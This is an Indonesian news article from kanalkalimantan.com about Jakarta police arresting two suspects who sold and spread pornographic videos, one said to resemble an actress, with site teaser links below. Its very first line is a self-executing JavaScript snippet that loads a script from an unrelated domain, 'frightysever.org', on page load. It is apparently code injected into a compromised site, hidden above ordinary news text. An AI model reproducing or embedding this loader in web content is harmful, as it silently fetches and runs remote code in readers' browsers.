(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Polisi menguak kasus penyebar video syur artis yang disebut ‘mirip artis Gabriella Larasati’ yang dilakukan tersangka NK, beberapa waktu lalu.
Dari penyelidikan, ternyata pelaku NK diketahui menjual video tersebut situs pornografi online. Dari situ, NK mengaku meraup keuntungan hingga puluhan juta.
“Yang bersangkutan (NK) sudah melakukan aksinya ini selama 10 bulan terakhir dan berhasil meraup keuntungan sekitar Rp 75 juta,” ujar Kapolres Metro Jakarta Barat Kombes Ady Wibowo kepada wartawan di Polres Metro Jakarta Barat, Senin (1/3/2021), dilansir detik.com.
Ady mengatakan, video mirip ‘artis Gabriella Larasati’ ini termasuk salah satu yang dijual oleh tersangka NK. Tersangka juga menjual beberapa konten pornografi lainnya di situs goc**.com.
“Jadi bukan hanya film ini, tapi ada juga film-film lain yang dimiliki oleh tersangka NK ini,” kata Ady.
NK diketahui memiliki 14.000 pengikut yang telah berlangganan di websitenya untuk mengakses berbagai konten video porno tersebut. Untuk mengakses video porno di website tersebut, mereka harus menjadi member agar bisa memiliki kebebasan akses.
“Itu memang ada member ada yang member biasa, member VIP dengan kisaran Rp 250-300 ribu untuk menjadi membernya,” jelasnya.
Selain menangkap NK, polisi menangkap tersangka MSA di Trenggalek, Jawa Timur. Keduanya mengaku menyebar video porno untuk menambah followers.
“Yang bersangkutan ini (MSA) mempunyai akun Twitter bernama bbffofficial, saat ini followers-nya 10 ribu. Tersangka dengan maksud, MSA ini bermaksud (sebar video porno) untuk menambah followers-nya,” kata Kapolres Metro Jakarta Barat Kombes Ady Wibowo kepada wartawan di Polres Metro Jakarta Barat, Jakarta, Senin (1/3/2021).
Dari keduanya, polisi menyita barang bukti 3 unit handphone, dua kartu ATM Bank BCA, dan laptop. Kedua pelaku kini diamankan di Polres Metro Jakarta Barat.
“Kedua tersangka ini dikenakan UU Pornografi dan UU ITE dengan ancaman pidana penjara selama 6 tahun,” tegas Ady.(Kanalkalimantan.com/detik)
Editor: cell
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.